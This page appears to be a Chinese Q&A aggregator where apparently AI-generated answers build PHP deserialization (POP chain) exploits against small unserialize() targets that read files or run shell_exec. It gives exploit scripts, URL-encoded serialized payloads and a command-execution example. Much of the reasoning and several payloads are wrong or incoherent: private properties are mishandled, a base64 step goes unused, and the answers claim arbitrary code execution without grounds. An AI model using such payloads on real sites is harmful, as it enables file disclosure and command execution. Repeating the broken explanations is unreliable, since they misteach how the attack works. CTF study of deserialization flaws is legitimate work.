请帮我构造这段代码的pop链 <?php highlight_file(FILE); class home{ private $args; function __construct($args){ $this->args=$args; } function __wakeup() { echo file_get_contents($this->args); } } $a=$_GET['a']; unserialize($a);
时间: 2023-06-13 20:03:57 浏览: 72
首先需要找到一个可以被序列化的对象,可以使用以下代码:
```
class test {
public $cmd;
function __construct() {
$this->cmd = "ls -al";
}
function __toString() {
return "";
}
}
```
然后通过一个数组构造出一个对象:
```
$obj = new home(array('test' => new test()));
```
接着将这个对象序列化并进行 urlencode:
```
$payload = urlencode(serialize($obj));
```
最后构造 pop 链:
```
http://example.com/?a=O%3A4%3A%22home%22%3A1%3A%7Bs%3A4%3A%22args%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A4%3A%22test%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22ls%20-al%22%3B%7D%7D%7D%7D
```
相关问题
请帮我构造这段代码的pop链 <?php highlight_file(__FILE__); class home{ private $args; function __construct($args){ $this->args=$args; } function __destruct() { echo shell_exec($this->args); } } $a=$_GET['a']; unserialize($a);
首先需要了解的是,构造 pop 链需要满足两个条件:
1. 对象的构造函数需要接收参数,且该参数可以被我们控制。
2. 对象的析构函数中需要存在一些恶意代码,比如执行系统命令等。
在给定的代码中,我们可以看到构造函数 `__construct` 接收参数 `$args`,并将其保存到了 `$this->args` 中。因此,我们可以通过传入恶意参数来控制 `$this->args` 的值。
此外,析构函数 `__destruct` 中存在一个 `shell_exec` 函数调用,可以用来执行系统命令。因此,我们可以将恶意代码写在 `$this->args` 中,让 `__destruct` 函数执行我们的命令。
综上,我们的目标是构造一个恶意参数,使得反序列化时会调用 `__construct` 函数,将我们的恶意参数保存到 `$this->args` 中。接着,在对象被销毁时,`__destruct` 函数会执行我们的系统命令。
下面是一个例子,其中我们将 `touch /tmp/success` 命令作为恶意代码:
```php
<?php
class home{
private $args;
function __construct($args){
$this->args=$args;
}
function __destruct(){
echo shell_exec($this->args);
}
}
// 构造 payload
$obj1 = new home("touch /tmp/success");
$payload = urlencode(serialize($obj1));
// 构造 pop 链,将 $obj1 引用传递给 $obj2
$obj2 = new home($payload);
echo urlencode(serialize($obj2)) . "\n";
```
输出结果:
```
O%3A4%3A%22home%22%3A1%3A%7Bs%3A4%3A%22args%22%3Bs%3A18%3A%22touch+%2Ftmp%2Fsuccess%22%3B%7D
```
将该 payload 传递给目标程序反序列化即可触发 pop 链,执行恶意命令。
请对以下代码构造一段pop链,这只是一道试题:<?php highlight_file(__FILE__); class home{ private $args; function __construct($args){ $this->args=$args; } function __wakeup() { echo file_get_contents($this->args); } } $a=$_GET['a']; unserialize($a);
首先需要构造一个类,这个类需要实现__destruct()方法,将一个对象的属性指向另一个对象,从而构造出pop链。代码如下:
```
class a {
public $b;
function __destruct() {
$this->b->args = 'file.php';
}
}
$payload = 'O:1:"a":1:{s:1:"b";O:4:"home":1:{s:4:"args";s:5:"/flag";}}';
$popchain = urlencode(base64_encode(serialize(new a())));
$exploit = "http://example.com/vuln.php?a={$payload}";
```
这个pop链的原理如下:
1. 当执行完 unserialize($a) 后,会实例化一个 a 类的对象;
2. 当这个 a 类的对象被销毁时,会执行 __destruct() 方法;
3. 在 __destruct() 方法中,将 $this->b 指向的对象 home 的 $args 属性修改为 'file.php';
4. 当执行完 unserialize($popchain) 后,会再次实例化一个 a 类的对象,因为这个对象的 $b 属性指向的是已经被修改过的 home 类的对象,所以在执行 __wakeup() 方法时,会读取 'file.php' 文件的内容并输出。
这样就构造出了一个pop链,可以通过 $exploit 触发漏洞,执行任意代码。
阅读全文